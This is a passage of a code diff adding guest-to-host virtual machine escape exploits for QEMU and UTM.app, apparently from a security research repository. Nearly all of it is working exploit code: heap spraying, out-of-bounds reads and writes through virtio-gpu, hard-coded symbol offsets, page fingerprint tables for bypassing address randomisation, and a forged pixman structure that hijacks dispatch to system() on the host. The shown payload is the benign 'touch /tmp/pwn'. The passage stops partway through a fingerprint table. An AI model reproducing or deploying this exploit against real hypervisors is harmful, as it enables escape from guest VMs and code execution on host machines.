+ printf("\n[+] All addresses resolved\n\n"); + + /* ========== Phase 3: Plant fake pixman_implementation_t ========== */ + + printf("========================================\n"); + printf(" Phase 3: Plant fake pixman struct\n"); + printf("========================================\n\n"); + + /* + * Fake pixman_implementation_t at exploit pixbuf offset 0: + * + * 0x00 "touch /tmp/pwn\0" <- command string (15 bytes) + * (occupies toplevel + delegate fields) + * 0x10 &fast_paths <- points to offset 0x40 in exploit pixbuf + * 0x40 fast_path[0]: <- wildcard entry matching ANY composite + * op = 0x40 (PIXMAN_OP_any) + * src = 0x50000 (PIXMAN_any format) + * mask = 0x50000 + * dest = 0x50000 + * flags = 0 (passes all flag checks) + * func = system() (dispatch target) + * 0x68 fast_path[1]: <- sentinel + * op = 0x3F (PIXMAN_OP_NONE — end of list) + * + * When the composite lookup finds the wildcard match: + * func(imp, info) → system(imp) → system("touch /tmp/pwn") + * because imp points to offset 0 of our struct = the command string. + * + * The delegate field (offset 0x08) is non-zero (contains "mp/pwn\0\0") + * but this is safe: the wildcard matches on the FIRST iteration so + * imp->delegate is never dereferenced. + */ + uint8_t fake[112]; + memset(fake, 0, sizeof(fake)); + + /* Command string at offset 0 (max 15 bytes + null in offset 0x0F) */ + memcpy(fake, "touch /tmp/pwn", 15); + + /* fast_paths pointer at offset 0x10 */ + uint64_t fps_ptr = pixbuf_addr + 0x40; + memcpy(fake + 0x10, &fps_ptr, 8); + + /* fast_path[0] at offset 0x40: wildcard entry */ + uint32_t u32; + u32 = PIXMAN_OP_ANY_VAL; + memcpy(fake + 0x40, &u32, 4); /* op = any */ + u32 = PIXMAN_FMT_ANY_VAL; + memcpy(fake + 0x44, &u32, 4); /* src_format = any */ + /* src_flags = 0 (zeroed) */ + memcpy(fake + 0x4C, &u32, 4); /* mask_format = any */ + /* mask_flags = 0 (zeroed) */ + memcpy(fake + 0x54, &u32, 4); /* dest_format = any */ + /* dest_flags = 0 (zeroed) */ + memcpy(fake + 0x60, &system_addr, 8); /* func = system() */ + + /* fast_path[1] at offset 0x68: sentinel */ + u32 = PIXMAN_OP_NONE_VAL; + memcpy(fake + 0x68, &u32, 4); + + printf("[*] Fake struct (112 bytes):\n"); + printf(" cmd = \"touch /tmp/pwn\"\n"); + printf(" fast_paths= 0x%lx\n", (unsigned long)fps_ptr); + printf(" func = 0x%lx (system)\n", (unsigned long)system_addr); + + printf("[*] Writing fake struct to exploit pixbuf via TRANSFER_TO_HOST_2D...\n"); + memcpy(data_region, fake, sizeof(fake)); + if (cmd_transfer(RES_EXPLOIT, 0, 0, 28, 1, 0)) { + printf("[!] Transfer failed\n"); + return 1; + } + printf(" [+] Fake implementation struct planted\n\n"); + + /* ========== Phase 4: Hijack pixman dispatch ========== */ + + printf("========================================\n"); + printf(" Phase 4: Hijack pixman dispatch\n"); + printf("========================================\n\n"); + + /* + * On Linux, we do NOT need to overwrite the TLS fast_path_cache + * descriptor (unlike macOS where we replaced the thunk with a ret + * gadget). Instead, we rely on Phase 5's format change to cause + * a cache miss — see below. + * + * We only need to overwrite _global_implementation to point to + * our fake struct in exploit pixbuf. + */ + printf("[*] _global_implementation: OOB +0x%lx -> 0x%lx\n", + (unsigned long)global_imp_oob, (unsigned long)pixbuf_addr); + if (oob_write_8(RES_EXPLOIT, (uint64_t)global_imp_oob, pixbuf_addr)) { + printf("[!] Failed to overwrite _global_implementation\n"); + return 1; + } + printf(" [+] _global_implementation -> fake struct\n\n"); + + /* ========== Phase 5: Trigger ========== */ + + printf("========================================\n"); + printf(" Phase 5: Trigger\n"); + printf("========================================\n\n"); + + /* + * TLS fast_path_cache bypass via format change: + * + * During Phase 2, all VNC composites used PIXMAN_a8r8g8b8 as the + * source format (from RES_A/B's B8G8R8A8_UNORM format). The TLS + * cache now has an entry for {OP_SRC, a8r8g8b8, 0, server_fmt}. + * + * We create RES_TRIGGER with B8G8R8X8_UNORM (→ PIXMAN_x8r8g8b8). + * Setting scanout to this resource changes the display surface + * format. When VNC composites, the source format is now x8r8g8b8, + * causing a cache MISS. The lookup walks _global_implementation + * → our fake struct → wildcard match → system("touch /tmp/pwn"). + */ + printf("[*] Creating trigger resource (format B8G8R8X8 for cache miss)...\n"); + if (cmd_create_resource(RES_TRIGGER, VIRTIO_GPU_FORMAT_B8G8R8X8_UNORM, + 64, 64)) { + printf("[!] Trigger resource creation failed\n"); + return 1; + } + if (cmd_attach_backing(RES_TRIGGER)) { + printf("[!] Trigger attach backing failed\n"); + return 1; + } + printf(" [+] Trigger resource created\n"); + + printf("[*] Triggering VNC composite with new format...\n"); + printf(" pixman_image_composite32()\n"); + printf(" -> TLS cache miss (src_format changed)\n"); + printf(" -> _global_implementation -> fake struct\n"); + printf(" -> wildcard fast_path match\n"); + printf(" -> system(\"touch /tmp/pwn\")\n\n"); + + /* + * Set scanout to the trigger resource (different format), + * flush to mark dirty, then request VNC update. + * + * The VNC server composites the new surface → cache miss → + * our hijacked dispatch → system("touch /tmp/pwn"). + */ + cmd_set_scanout(RES_TRIGGER, 0, 0, 16, 16); + cmd_resource_flush(RES_TRIGGER, 16, 16); + usleep(100000); + + uint8_t trigger_buf[16 * 16 * 4]; + vnc_send_update_request(16, 16); + vnc_recv_update(trigger_buf, sizeof(trigger_buf)); + + sleep(2); + + printf("========================================\n"); + printf(" Exploit complete.\n"); + printf(" Check: ls -la /tmp/pwn on the host.\n"); + printf("========================================\n"); + + /* PID 1 can't exit — spin forever */ + if (getpid() == 1) + for (;;) sleep(3600); + + return 0; +} diff --git a/MADBugs/qemu/exploit_utm.c b/MADBugs/qemu/exploit_utm.c new file mode 100644 index 0000000..9392de2 --- /dev/null +++ b/MADBugs/qemu/exploit_utm.c @@ -0,0 +1,2540 @@ +/* + * exploit_utm.c — Guest-to-host exploit for UTM.app (QEMU 10.0.2) + * + * Survives UTM's always-active SPICE display: SPICE's gui_update timer + * memcmp's the scanout surface every ~30ms, so any scanout that points + * at an unmapped page crashes QEMU. + * + * Strategy: buffer-first fill. Create the exploit buffer FIRST (gets a + * low heap address), then spray 950 resources + fillers to fill all free + * space forward from the buffer (including framework gaps). Every + * forward OOB read lands on mapped memory (spray/filler zeros or + * framework code/data). SPICE never hits unmapped pages → no crashes. + * Scan forward with 4MB strides until non-zero data is found. + * pixman/QEMU are identified by TEXT page fingerprints (131 + 641). + * + * Build: + * aarch64-linux-musl-gcc -static -O2 -o exploit_utm exploit_utm.c + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ---------- virtio-gpu protocol structures ---------- */ + +#define VIRTIO_GPU_CMD_GET_DISPLAY_INFO 0x0100 +#define VIRTIO_GPU_CMD_RESOURCE_CREATE_2D 0x0101 +#define VIRTIO_GPU_CMD_RESOURCE_UNREF 0x0102 +#define VIRTIO_GPU_CMD_SET_SCANOUT 0x0103 +#define VIRTIO_GPU_CMD_RESOURCE_FLUSH 0x0104 +#define VIRTIO_GPU_CMD_TRANSFER_TO_HOST_2D 0x0105 +#define VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING 0x0106 + +#define VIRTIO_GPU_RESP_OK_NODATA 0x1100 +#define VIRTIO_GPU_RESP_OK_DISPLAY_INFO 0x1101 + +#define VIRTIO_GPU_FORMAT_B8G8R8A8_UNORM 1 + +struct virtio_gpu_ctrl_hdr { + uint32_t type; + uint32_t flags; + uint64_t fence_id; + uint32_t ctx_id; + uint8_t ring_idx; + uint8_t padding[3]; +} __attribute__((packed)); + +struct virtio_gpu_rect { + uint32_t x, y, width, height; +}; + +struct virtio_gpu_resource_create_2d { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t format; + uint32_t width; + uint32_t height; +}; + +struct virtio_gpu_resource_attach_backing { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t nr_entries; +}; + +struct virtio_gpu_mem_entry { + uint64_t addr; + uint32_t length; + uint32_t padding; +}; + +struct virtio_gpu_transfer_to_host_2d { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint64_t offset; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_set_scanout { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t scanout_id; + uint32_t resource_id; +}; + +struct virtio_gpu_resource_flush { + struct virtio_gpu_ctrl_hdr hdr; + struct virtio_gpu_rect r; + uint32_t resource_id; + uint32_t padding; +}; + +struct virtio_gpu_resource_unref { + struct virtio_gpu_ctrl_hdr hdr; + uint32_t resource_id; + uint32_t padding; +}; + +/* ---------- Virtio PCI transport ---------- */ + +#define VIRTIO_PCI_VENDOR_ID 0x1af4 +#define VIRTIO_GPU_DEVICE_ID 0x1050 + +#define VIRTIO_PCI_COMMON_DFSELECT 0x00 +#define VIRTIO_PCI_COMMON_DF 0x04 +#define VIRTIO_PCI_COMMON_GFSELECT 0x08 +#define VIRTIO_PCI_COMMON_GF 0x0c +#define VIRTIO_PCI_COMMON_MSIX 0x10 +#define VIRTIO_PCI_COMMON_NUMQ 0x12 +#define VIRTIO_PCI_COMMON_STATUS 0x14 +#define VIRTIO_PCI_COMMON_CFGGENERATION 0x15 +#define VIRTIO_PCI_COMMON_Q_SELECT 0x16 +#define VIRTIO_PCI_COMMON_Q_SIZE 0x18 +#define VIRTIO_PCI_COMMON_Q_MSIX 0x1a +#define VIRTIO_PCI_COMMON_Q_ENABLE 0x1c +#define VIRTIO_PCI_COMMON_Q_NOFF 0x1e +#define VIRTIO_PCI_COMMON_Q_DESCLO 0x20 +#define VIRTIO_PCI_COMMON_Q_DESCHI 0x24 +#define VIRTIO_PCI_COMMON_Q_AVAILLO 0x28 +#define VIRTIO_PCI_COMMON_Q_AVAILHI 0x2c +#define VIRTIO_PCI_COMMON_Q_USEDLO 0x30 +#define VIRTIO_PCI_COMMON_Q_USEDHI 0x34 + +#define VIRTIO_STATUS_ACKNOWLEDGE 1 +#define VIRTIO_STATUS_DRIVER 2 +#define VIRTIO_STATUS_DRIVER_OK 4 +#define VIRTIO_STATUS_FEATURES_OK 8 + +struct vring_desc { + uint64_t addr; + uint32_t len; + uint16_t flags; + uint16_t next; +} __attribute__((packed)); + +#define VRING_DESC_F_NEXT 1 +#define VRING_DESC_F_WRITE 2 + +struct vring_avail { + uint16_t flags; + uint16_t idx; + uint16_t ring[]; +} __attribute__((packed)); + +struct vring_used_elem { + uint32_t id; + uint32_t len; +} __attribute__((packed)); + +struct vring_used { + uint16_t flags; + uint16_t idx; + struct vring_used_elem ring[]; +} __attribute__((packed)); + +/* ---------- Exploit parameters ---------- */ + +#define EXPLOIT_WIDTH 0x40000001U +#define EXPLOIT_HEIGHT 65536U /* buffer = 4 × 65536 = 256KB = 16 pages */ +#define EXPECTED_BUF (4U * EXPLOIT_HEIGHT) /* stride(4) × height */ +#define RES_EXPLOIT 42 +#define MMAP_PAGES (EXPECTED_BUF / 0x4000U + 1) /* 17 pages */ + +/* VNC constants */ +#define VNC_HOST "10.0.2.2" +#define VNC_PORT 5900 + +/* Page-step scanout: ~16KB linear per VNC read */ +#define PAGE_SCAN_W 4096 +#define PAGE_SCAN_H 16 +#define PAGE_VNC_BYTES (PAGE_SCAN_W * PAGE_SCAN_H * 4) /* 262144 */ +#define PAGE_LINEAR (PAGE_SCAN_W * 4) /* 16384 */ +#define PAGE_SIZE 0x4000U /* 16384 */ + +/* + * Scan surface: use minimum 16×16 to minimize OOB read footprint. + * With stride=4, a 16×16 surface reads only 124 bytes from OOB + * (vs 316 bytes for 64×16). Smaller footprint = less chance of + * straddling into a guard page and deadlocking QEMU. + */ +#define SCAN_W 16 +#define SCAN_H 16 +#define SCAN_VNC_BYTES (SCAN_W * SCAN_H * 4) /* 1024 */ +#define SCAN_LINEAR (SCAN_W * 4) /* 64 */ + +/* Wider scanout for targeted reads (after pixman is found) */ +#define READ_W 64 +#define READ_H 16 +#define READ_VNC_BYTES (READ_W * READ_H * 4) /* 4096 */ +#define READ_LINEAR (READ_W * 4) /* 256 */ + +/* + * SPICE is unconditionally active in UTM's QEMULauncher and reads from + * whatever surface is set as scanout. If the scanout surface points to + * an unmapped page, _platform_memcmp in qemu_spice_display_refresh gets + * a translation fault and QEMU dies. + * + * Mitigation: create exploit buffer FIRST, then spray+fill everything + * after it. The buffer gets a low heap address. Spray+filler + * resources fill all free space forward from the buffer (including + * framework gaps). Every forward OOB read lands on mapped memory + * (spray/filler zeros or framework code/data). SPICE never reads + * unmapped memory → no crash. + */ +#define SPRAY_COUNT 950 +#define SPRAY_RES_START 100 +#define SPRAY_WIDTH 256 +#define SPRAY_HEIGHT 256 + +#define FILLER_RES_START 1100 +#define FILLER_WIDTH 256 +#define FILLER_HEIGHT 256 + +#define SCAN_START_PAGE 48 +#define SCAN_STRIDE_PAGES 256 /* 4MB stride — safe with forward-fill */ +#define SCAN_MAX_PAGE 10240 /* ~160MB max scan range */ + +/* + * QEMU framework (qemu-aarch64-softmmu) identification and offsets. + * sizeofcmds=0x1248 is unique among all UTM frameworks. + */ +#define QEMU_SIZEOFCMDS 0x1248U +#define QEMU_GOT_PIXMAN_UNREF 0xc0c000U /* non-lazy GOT: _pixman_image_unref */ +#define QEMU_GOT_G_FREE 0xc0c218U /* non-lazy GOT: _g_free */ +#define QEMU_LA_FREE 0x1860440U /* __la_symbol_ptr: _free */ +#define QEMU_LA_G_FREE 0x1860868U /* __la_symbol_ptr: _g_free */ +#define QEMU_LA_SYSTEM 0x1861fa0U /* __la_symbol_ptr: _system */ +#define QEMU_MOD_INIT_FUNC 0xc0c388U /* __DATA_CONST __mod_init_func */ +#define QEMU_MOD_INIT_TGT 0xc164U /* unslid _do_qemu_init_cpu_register_types */ + +/* pixman_image_unref is at this offset from pixman base */ +#define PIXMAN_IMAGE_UNREF_OFF 0x231a08U + +/* + * UTM pixman-1.0.framework (arm64) — offsets from Mach-O header. + * + * UTM bundles its own pixman as a universal framework with a much larger + * __TEXT segment (~2.4MB vs homebrew's ~480KB). The __DATA sections are + * at correspondingly higher offsets. Uses LC_DYLD_INFO_ONLY (traditional + * rebases + lazy binding), NOT chained fixups. + * + * Key difference: free() is in __DATA __la_symbol_ptr (lazy, resolved on + * first call) rather than __DATA_CONST __got (non-lazy). Pixman's + * constructor calls malloc/free during _pixman_choose_implementation, + * so free is resolved by the time we scan. + */ +#define PIXMAN_SIZEOFCMDS 0x758U /* real UTM framework */ +#define PIXMAN_SIZEOFCMDS_ALT 0x748U /* lipo-extracted (shorter LC_ID_DYLIB) */ + +#define PIXMAN_LAZY_FREE 0x254048U /* __la_symbol_ptr: _free */ +#define PIXMAN_REBASE0 0x250020U /* __mod_init_func: _pixman_constructor */ +#define PIXMAN_REBASE0_TGT 0x7E0U /* unslid _pixman_constructor vmaddr */ +#define PIXMAN_TLS_THUNK 0x2540E0U /* _fast_path_cache TLS descriptor */ +#define PIXMAN_GLOBAL_IMP 0x254278U /* _global_implementation (BSS) */ +#define PIXMAN_RET_GADGET 0x233718U /* ret inside _dummy_composite_rect */ +#define PIXMAN_END 0x258000U /* end of __DATA segment */ +#define PIXMAN_TEXT_PAGES 148 /* __TEXT segment = 148 × 16KB pages */ + +/* + * Pixman TEXT page fingerprints — first 8 bytes of each page in the __TEXT + * segment. These let us identify pixman even when a stride lands in the + * MIDDLE of its TEXT, not just on the Mach-O header. Sorted by signature + * value for binary search. 131 unique signatures out of 148 pages + * (Mach-O header + one common-prologue collision with qemu_sigs dropped). + */ +static const struct pixman_sig { + uint64_t sig; + uint16_t page_idx; +} pixman_sigs[] = { + { 0x0000056000000484ULL, 121 }, + { 0x0b090108b94027e9ULL, 122 }, + { 0x0b0a01081acb214aULL, 45 }, + { 0x1100054ab85c43aaULL, 106 }, + { 0x12000d08530c7d08ULL, 72 }, + { 0x12000d08b94083e8ULL, 30 }, + { 0x12000d4a53087d4aULL, 32 }, + { 0x12001108b9404fe8ULL, 80 }, + { 0x14000001340000a8ULL, 28 }, + { 0x1400000136f80488ULL, 128 }, + { 0x14000001540000a5ULL, 113 }, + { 0x14000001540000adULL, 119 }, + { 0x1400000154000165ULL, 118 }, + { 0x140000015400018aULL, 78 }, + { 0x14000001540002c0ULL, 49 }, + { 0x1400000194000cb8ULL, 140 }, + { 0x14000001b81143a8ULL, 100 }, + { 0x14000001b81b03a8ULL, 88 }, + { 0x14000001b81bc3a8ULL, 22 }, + { 0x14000001bd0133e0ULL, 114 }, + { 0x14000070b9000128ULL, 71 }, + { 0x140000bd54000160ULL, 50 }, + { 0x17fffe80f9013528ULL, 129 }, + { 0x1ac9210912000529ULL, 91 }, + { 0x1b097d09b9405be9ULL, 133 }, + { 0x1b0a7d2952800069ULL, 2 }, + { 0x1b0a7d29b9405feaULL, 139 }, + { 0x1e2120001e270100ULL, 116 }, + { 0x1e6e10011e22c000ULL, 117 }, + { 0x2a090108b85783a8ULL, 7 }, + { 0x2a090108b85a03a8ULL, 47 }, + { 0x2a090108b85dc3a8ULL, 93 }, + { 0x36f800a8b9400108ULL, 138 }, + { 0x3e6495e03e60cb7cULL, 147 }, + { 0x52800022394283e1ULL, 64 }, + { 0x52800028b85d03a9ULL, 76 }, + { 0x52800029b85383aaULL, 9 }, + { 0x52800089b85dc3aaULL, 105 }, + { 0x53087d29b940c7e9ULL, 14 }, + { 0x53087d4ab941c7eaULL, 69 }, + { 0x53107d08b94067e8ULL, 67 }, + { 0x53107d08b940c7e8ULL, 66 }, + { 0x53107d08b940e7e8ULL, 11 }, + { 0x53167d29b94113e9ULL, 52 }, + { 0x53167d4ab852c3aaULL, 19 }, + { 0x53167d4ab940c7eaULL, 33 }, + { 0x53167d6bb852c3abULL, 68 }, + { 0x53187d08b9419fe8ULL, 96 }, + { 0x531f7908b85a83a8ULL, 53 }, + { 0x531f7908b85bc3a8ULL, 75 }, + { 0x540000a51e212000ULL, 120 }, + { 0x5400018a6b090108ULL, 54 }, + { 0x6b0a0129b85a83aaULL, 6 }, + { 0x71000508b940abe8ULL, 126 }, + { 0x710005091ac92108ULL, 42 }, + { 0x710005296b0a0129ULL, 136 }, + { 0x71000908b94023e8ULL, 13 }, + { 0x8b29c9081b0a7d29ULL, 124 }, + { 0x912dc129f00000a9ULL, 104 }, + { 0x9403f81191098863ULL, 83 }, + { 0xb81343a8b85603a8ULL, 12 }, + { 0xb81383a9b813c3aaULL, 92 }, + { 0xb81743a81ac92508ULL, 21 }, + { 0xb818c3a82a090108ULL, 90 }, + { 0xb81983a80a090108ULL, 56 }, + { 0xb81b03a8b85a03a8ULL, 15 }, + { 0xb81b83a92a0b0129ULL, 123 }, + { 0xb81bc3a8531f7908ULL, 48 }, + { 0xb81d03a8531f7908ULL, 23 }, + { 0xb81e43a8531f7908ULL, 43 }, + { 0xb851c3a8b811c3a8ULL, 125 }, + { 0xb852c3a814000070ULL, 97 }, + { 0xb85503a814000001ULL, 99 }, + { 0xb855c3a91ac9250aULL, 29 }, + { 0xb856c3a8b81703a8ULL, 86 }, + { 0xb85783a814000001ULL, 35 }, + { 0xb85903a8f94007e9ULL, 127 }, + { 0xb85a83a8b81a03a8ULL, 87 }, + { 0xb85a83a9b85a03a8ULL, 34 }, + { 0xb85bc3a8b81b43a8ULL, 89 }, + { 0xb85bc3a8b81c03a8ULL, 55 }, + { 0xb85bc3a9b85b43a8ULL, 74 }, + { 0xb85c03a814000055ULL, 41 }, + { 0xb85c83a81ac92509ULL, 57 }, + { 0xb85cc3a9b85d03a8ULL, 62 }, + { 0xb85e43a9b85dc3a8ULL, 17 }, + { 0xb900012852800068ULL, 142 }, + { 0xb9000128f9400d29ULL, 85 }, + { 0xb9001fe81ac92108ULL, 60 }, + { 0xb90063e82a090108ULL, 37 }, + { 0xb9007be8b94097e8ULL, 134 }, + { 0xb9009be81ac92108ULL, 63 }, + { 0xb900d7e8b940abe8ULL, 84 }, + { 0xb900e3e81ac92108ULL, 73 }, + { 0xb9020be932090129ULL, 130 }, + { 0xb9024be9b9024feaULL, 16 }, + { 0xb9400108f9400928ULL, 20 }, + { 0xb94003e814000001ULL, 39 }, + { 0xb9400fe814000001ULL, 10 }, + { 0xb9405be8b9005be8ULL, 102 }, + { 0xb94077e8b90073e8ULL, 44 }, + { 0xb940a3e91b097d08ULL, 18 }, + { 0xb940afe9f9405be8ULL, 77 }, + { 0xb940cfe912000d08ULL, 137 }, + { 0xb940f7e8f9000128ULL, 98 }, + { 0xb94117ea1ac9210bULL, 8 }, + { 0xb9412fe8b94127ecULL, 27 }, + { 0xb94157ea53187d08ULL, 46 }, + { 0xb9417fe8f94017e9ULL, 4 }, + { 0xb941c7eab9400108ULL, 82 }, + { 0xb941e3e8b901d7e8ULL, 36 }, + { 0xbc1b43a0bc6ad920ULL, 108 }, + { 0xbc5b03a2bc5b83a1ULL, 111 }, + { 0xbc69d90011000d29ULL, 109 }, + { 0xbd4137e014000019ULL, 115 }, + { 0xd63f0100f9402fe0ULL, 135 }, + { 0xf85703a814000001ULL, 131 }, + { 0xf85e83a8b9001be6ULL, 143 }, + { 0xf85f03a9b94017e8ULL, 132 }, + { 0xf9000928f94007e9ULL, 144 }, + { 0xf9400be014000001ULL, 146 }, + { 0xf9400be8140000c2ULL, 25 }, + { 0xf94013e81400000bULL, 145 }, + { 0xf9401fe9b940ad08ULL, 141 }, + { 0xf9403be9f9407908ULL, 94 }, + { 0xf9403d2a0b0a0108ULL, 3 }, + { 0xf94047e814000001ULL, 81 }, + { 0xf9405be814000096ULL, 5 }, + { 0xf9406be8b900011fULL, 38 }, + { 0xf940a3e9b9414feaULL, 101 }, + { 0xfd4027e014000001ULL, 112 }, +}; +#define N_PIXMAN_SIGS (sizeof(pixman_sigs) / sizeof(pixman_sigs[0])) + +static int pixman_sig_lookup(uint64_t sig) +{ + int lo = 0, hi = N_PIXMAN_SIGS - 1; + while (lo <= hi) { + int mid = (lo + hi) / 2; + if (pixman_sigs[mid].sig == sig) + return pixman_sigs[mid].page_idx; + if (pixman_sigs[mid].sig < sig) + lo = mid + 1; + else + hi = mid - 1; + } + return -1; +} + +/* + * QEMU TEXT page fingerprints (UTM 4.7.5, qemu-aarch64-softmmu arm64). + * First 8 bytes of each 16K page in __TEXT (vmsize 0xc0c000 = 771 pages). + * 641 unique non-zero, non-colliding signatures. Same lookup scheme as + * pixman_sigs: on hit, qemu_oob = sample_off - page_idx * PAGE_SIZE. + * + * UTM 4.7.5 allocates virtio-gpu pixman buffers via qemu_memfd_alloc, so + * RES_EXPLOIT lands in a memfd hole among the bundled frameworks rather + * than MALLOC_LARGE. pixman (2.4 MB) is often BEHIND that hole; QEMU + * (29 MB block) is large enough that a 256K hole almost always sits below + * it, so the forward scan reliably crosses QEMU TEXT. These sigs let the + * 4 MB-stride scan recognise QEMU mid-TEXT without hitting the Mach-O + * header. The hit is then confirmed by reading the candidate base page + * and checking sizeofcmds == QEMU_SIZEOFCMDS. + */ +static const struct { uint64_t sig; uint16_t page_idx; } qemu_sigs[] = { + { 0x00000000016c1b3dULL, 760 }, + { 0x0000002800000050ULL, 114 }, + { 0x000011400000796dULL, 758 }, + { 0x0005804001057f48ULL, 768 }, + { 0x002773252720646eULL, 704 }, + { 0x004b48435f595445ULL, 650 }, + { 0x00656d6172665f74ULL, 714 }, + { 0x006769666e6f635fULL, 715 }, + { 0x0076656472616843ULL, 682 }, + { 0x0203d2700103cf50ULL, 766 }, + { 0x0204bdc40104bd1cULL, 770 }, + { 0x02f702f70099002aULL, 737 }, + { 0x030432c006042b10ULL, 767 }, + { 0x0504c7440204c620ULL, 769 }, + { 0x0a0901080a29014aULL, 375 }, + { 0x0a0901490a29016bULL, 372 }, + { 0x0a0b01085280032bULL, 208 }, + { 0x0a130108b9400108ULL, 74 }, + { 0x0a65676e61722066ULL, 645 }, + { 0x0b0b01e41a98c0b8ULL, 286 }, + { 0x0b0e01aa340002ceULL, 41 }, + { 0x0b19176852859e1bULL, 438 }, + { 0x0e040e60b90017e9ULL, 414 }, + { 0x1100001110110021ULL, 761 }, + { 0x1100116c53017d4bULL, 395 }, + { 0x1133c1421133c121ULL, 419 }, + { 0x1200112911000709ULL, 481 }, + { 0x1200312979589409ULL, 37 }, + { 0x12003828d34ffc29ULL, 62 }, + { 0x1218058c1a8f118cULL, 297 }, + { 0x14000002b90046d7ULL, 285 }, + { 0x14000002f9400916ULL, 173 }, + { 0x14000005912a6000ULL, 20 }, + { 0x14000005913f92f7ULL, 319 }, + { 0x1400000a52805002ULL, 290 }, + { 0x1400000aaa0803e0ULL, 568 }, + { 0x1400003894151ab6ULL, 293 }, + { 0x1400003a54000401ULL, 454 }, + { 0x1400028654001500ULL, 332 }, + { 0x1400616ad2800008ULL, 193 }, + { 0x14065eb0912e6000ULL, 128 }, + { 0x14074ed5a8c24ff4ULL, 514 }, + { 0x17e88985a9457bfdULL, 605 }, + { 0x17f3d8b7d280000cULL, 430 }, + { 0x17fffeac912ff484ULL, 255 }, + { 0x17ffffc3f9000d8eULL, 449 }, + { 0x17ffffe1b5fffdc6ULL, 477 }, + { 0x17ffffeab5fffe00ULL, 471 }, + { 0x17fffff238366ab7ULL, 57 }, + { 0x17fffff3941fdfcdULL, 67 }, + { 0x1a88b1287100011fULL, 480 }, + { 0x1a8901487100091fULL, 462 }, + { 0x1a8a016d7100091fULL, 453 }, + { 0x1a8a11367200035fULL, 73 }, + { 0x1a9f07edf100019fULL, 461 }, + { 0x1a9f17f56b14011fULL, 209 }, + { 0x1b0a7d2952807d0aULL, 565 }, + { 0x203a706d75640072ULL, 672 }, + { 0x2045494f49504720ULL, 644 }, + { 0x204d505420646e65ULL, 666 }, + { 0x20616d6420627269ULL, 639 }, + { 0x206d61657274735fULL, 708 }, + { 0x20746e657261703eULL, 683 }, + { 0x207473756d207365ULL, 679 }, + { 0x252e757a25406425ULL, 686 }, + { 0x252f62696c7a2d74ULL, 637 }, + { 0x29402668540000c0ULL, 358 }, + { 0x2973757461747328ULL, 635 }, + { 0x2a0c002c2a0b022bULL, 88 }, + { 0x2d312e38764d5241ULL, 633 }, + { 0x2d69736373202c64ULL, 669 }, + { 0x2d6f737600632e66ULL, 643 }, + { 0x2ea046101e270170ULL, 63 }, + { 0x300054534f485f45ULL, 660 }, + { 0x3100045f54000061ULL, 29 }, + { 0x3110093f51100109ULL, 174 }, + { 0x312d756d65712f34ULL, 684 }, + { 0x31653a757a363025ULL, 654 }, + { 0x331b114933100909ULL, 238 }, + { 0x34000091b8696811ULL, 61 }, + { 0x340000a0940070faULL, 550 }, + { 0x340000e09413cec1ULL, 190 }, + { 0x340001009402209eULL, 523 }, + { 0x34000437b94002caULL, 163 }, + { 0x35000548b94002a8ULL, 248 }, + { 0x350024e8b9400108ULL, 167 }, + { 0x35326d3a757a3630ULL, 640 }, + { 0x3535353535353535ULL, 759 }, + { 0x360000ad9acb258dULL, 442 }, + { 0x36182b2839400508ULL, 116 }, + { 0x3620008a54fffea0ULL, 440 }, + { 0x363ffc6839400508ULL, 108 }, + { 0x36500041b90013e8ULL, 399 }, + { 0x370000a0aa0003f7ULL, 511 }, + { 0x37101941540007a2ULL, 64 }, + { 0x37b8914135002f68ULL, 346 }, + { 0x37f802809400124cULL, 275 }, + { 0x3900e6d8540008e0ULL, 268 }, + { 0x39020a9f94054db1ULL, 144 }, + { 0x3940021054fffdaaULL, 59 }, + { 0x39440408aa0103f3ULL, 364 }, + { 0x39440c0854ff9121ULL, 347 }, + { 0x3944700839042c08ULL, 413 }, + { 0x3946268835001068ULL, 200 }, + { 0x3c2078616d727061ULL, 703 }, + { 0x425f4c4745004843ULL, 680 }, + { 0x4365646f4d746573ULL, 765 }, + { 0x455453554c430052ULL, 662 }, + { 0x4745525f53555441ULL, 656 }, + { 0x4a0c014a4a0c01ccULL, 570 }, + { 0x4b0d018cb86a684dULL, 445 }, + { 0x4e200a2e64657465ULL, 688 }, + { 0x4e21d8a52e621005ULL, 182 }, + { 0x4ea034203dc00261ULL, 379 }, + { 0x4ea61e454ea11ca1ULL, 65 }, + { 0x5200110c5ac01108ULL, 335 }, + { 0x525f554d50003050ULL, 649 }, + { 0x52800000d65f03c0ULL, 211 }, + { 0x5280000197fb2425ULL, 308 }, + { 0x52800001aa1303e0ULL, 313 }, + { 0x5280000f14000002ULL, 377 }, + { 0x52800016aa0003f4ULL, 243 }, + { 0x5280002197dc652cULL, 572 }, + { 0x52800021d65f03c0ULL, 334 }, + { 0x52800021f9000fe8ULL, 247 }, + { 0x5280002552800084ULL, 465 }, + { 0x52800028940002bcULL, 188 }, + { 0x528000293400006eULL, 83 }, + { 0x5280002f8b0e002eULL, 384 }, + { 0x52800063910043e1ULL, 401 }, + { 0x52800103aa0303e2ULL, 519 }, + { 0x52800108b902c408ULL, 81 }, + { 0x52800200390032e8ULL, 252 }, + { 0x52800203aa0003f4ULL, 526 }, + { 0x52800223910fb884ULL, 135 }, + { 0x52800283aa1603e2ULL, 320 }, + { 0x528009a3913df842ULL, 96 }, + { 0x52800a02aa1703e1ULL, 295 }, + { 0x528036c252800041ULL, 216 }, + { 0x52804a5152806a50ULL, 66 }, + { 0x5280520952805408ULL, 333 }, + { 0x52805f02912d3863ULL, 613 }, + { 0x5281dfe90a080028ULL, 340 }, + { 0x5281ffeb12bffc09ULL, 299 }, + { 0x53087d2a78697809ULL, 69 }, + { 0x531d1c8b531d710aULL, 448 }, + { 0x531d710a53082488ULL, 390 }, + { 0x534320433157206fULL, 658 }, + { 0x5400008072000d1fULL, 369 }, + { 0x540000c0eb0c01bfULL, 287 }, + { 0x540000c1eb1601bfULL, 517 }, + { 0x540001007100093fULL, 566 }, + { 0x54000121eb08013fULL, 8 }, + { 0x54000123714022bfULL, 487 }, + { 0x5400014197e74260ULL, 603 }, + { 0x540001e2eb0b02ffULL, 488 }, 